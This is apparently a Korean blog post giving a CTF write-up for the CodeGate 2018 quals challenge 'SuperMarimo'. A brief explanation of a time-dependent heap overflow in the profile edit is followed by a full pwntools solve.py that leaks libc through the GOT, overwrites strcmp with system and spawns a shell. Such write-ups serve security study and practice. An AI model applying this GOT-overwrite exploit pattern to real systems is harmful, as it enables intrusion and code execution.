본문 바로가기

CTF

CodeGate 2018 quals SuperMarimo

Edit에서 profile을 수정 할때에 마리모 생성 시간보다 시간이 지나있으면 오버플로우가 일어난다.


마리모를 두개 생성한다음 첫번째 마리모에서 오버플로를 일으켜서 두번째 마리모 구조체의 포인터를 덮어서 공격했다.


solve.py:



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
import ctypes
 
LIBC = ctypes.cdll.LoadLibrary("./libc.so.6")
 
elf=ELF("./marimo")
libc=ELF("./libc.so.6")
 
p=process("./marimo")
#p=remote("ch41l3ng3s.codegate.kr", 3333)
 
def show_me_marimo(name, profile):
    p.sendline("show me the marimo")
    print p.recv()
    p.sendline(name)
    print p.recv()
    p.sendline(profile)
    print p.recv()
 
def edit(idx, profile):
    p.sendline("V")
    print p.recv()
    p.sendline(str(idx))
    print p.recv()
    p.sendline("M")
    print p.recv()
    p.sendline(profile)
    print p.recv()
    p.sendline("B")
    print p.recv()
 
#gdb.attach(p, "tracemalloc on\nc")
 
show_me_marimo("1","1")
show_me_marimo("2","2")
 
time.sleep(2)
 
edit(0"A"*0x30+p32(LIBC.time(0))+p32(0x100)+p64(elf.got['puts'])+p64(elf.got['strcmp']))
 
p.sendline("V")
print p.recv()
p.sendline("1")
print p.recvuntil("name : ")
puts = u64(p.recv(6).ljust(8,"\x00"))
print p.recv()
libc_base = puts - libc.symbols['puts']
libc.address = libc_base
system = libc.symbols['system']
 
p.sendline("M")
print p.recv()
p.sendline(p64(system)[:-1])
print p.recv()
p.sendline("B")
print p.recv()
p.sendline("sh")
 
print 'system -> ', hex(system)
 
p.interactive()
 
cs

'CTF' 카테고리의 다른 글

HarekazeCTF 2018 Harekaze Farm  (0) 2018.02.11
CodeGate 2018 quals SuperFTP  (0) 2018.02.07
CodeGate 2018 quals BaskinRobins31  (0) 2018.02.07
SCTF 2017 본썬 후기  (0) 2017.08.23
YISF 2017 본선 후기  (0) 2017.08.14